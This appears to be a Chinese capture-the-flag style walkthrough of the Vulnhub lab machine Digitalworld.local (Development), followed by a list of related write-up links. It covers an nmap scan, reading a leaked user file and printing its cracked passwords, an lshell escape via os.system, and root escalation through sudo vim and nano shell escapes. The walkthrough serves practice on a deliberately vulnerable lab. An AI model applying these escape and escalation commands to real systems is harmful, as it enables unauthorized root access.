信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

查看网站首页源码

访问development目录，提示存在一个流量包

查看流量包发现另一个网站路径：/developmentsecretpage/directortestpagev1.php

访问该路径后退出登录，再重新登录，用户名和密码随便填写，之后页面提示报错

根据报错搜索关键字

在exp中提示通过访问slog_users.txt获取敏感信息

md5解密

intern | 12345678900987654321
patrick | P@ssw0rd25
qiu | qiu

使用intern用户登录目标

lshell绕过

echo os.system('/bin/bash')

提权

使用之前得到的密码，切换到patrick用户查看sudo权限

vim提权

提权方法：vim | GTFOBins

sudo -u root vim -c ':!/bin/bash'

nano提权

提权方法：nano | GTFOBins

sudo -u root nano
^R^X
reset; sh 1>&0 2>&0

运行nano后，键盘ctrl+r

ctrl+x

输入命令：reset; sh 1>&0 2>&0，后回车

Vulnhub:Digitalworld.local (Development)靶机相关推荐

Vulnhub:Digitalworld.local (Mercy v2)靶机
kali:192.168.111.111 靶机:192.168.111.130 信息收集端口扫描 nmap -A -v -sV -T5 -p- --script=http-enum 192.168. ...
vulnhub - digitalworld.local: MERCY v2 （考点：信息搜集 smb 端口敲门 RIPS tomcat linux 提权）
https://www.vulnhub.com/entry/digitalworldlocal-mercy-v2,263/ nat网络 arp-scan -l 比平常多出来的ip就是靶机了 nmap ...
digitalworld.local: MERCY靶机入侵
0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息靶机的 ...
OSCP练习：vulhub靶机DIGITALWORLD.LOCAL: MERCY v2
nmap扫下端口 nmap -sS -sV 192.168.8.144 发现22.80是关的,应该需要敲门 8080是tomcat页面,但是manager没密码控制台进不去, 提示主机管理器 Web ...
vulnhub:THOTH TECH:1靶机
一.信息收集扫描主机扫描端口访问80端口,apache页面二.信息利用尝试访问21端口,试试弱口令发现可以登录anonymous匿名访问有个note.txt文件,下载文件: 提示:用户名 ...
靶机渗透练习56-digitalworld.local：TORMENT
靶机描述靶机地址:https://www.vulnhub.com/entry/digitalworldlocal-torment,299/ Description This is the evil ...
靶机渗透练习53-digitalworld.local：BRAVERY
靶机描述靶机地址:https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/ Description This machine hope ...
靶机渗透练习58-digitalworld.local：VENGEANCE
靶机描述靶机地址:https://www.vulnhub.com/entry/digitalworldlocal-vengeance,704/ Description 2021 brings us ...
Vulnhub靶机Wakanda渗透测试攻略
前言 Wakanda是一个新的交易市场网站,很快会上线了.你的目标是通过黑客技术找到"振金"的确切位置. 页首配图本vulnhub靶机环境由xMagass开发,并托管于Vulnh ...

Vulnhub:Digitalworld.local (Development)靶机

信息收集

提权

vim提权

nano提权

Vulnhub:Digitalworld.local (Development)靶机相关推荐

最新文章

热门文章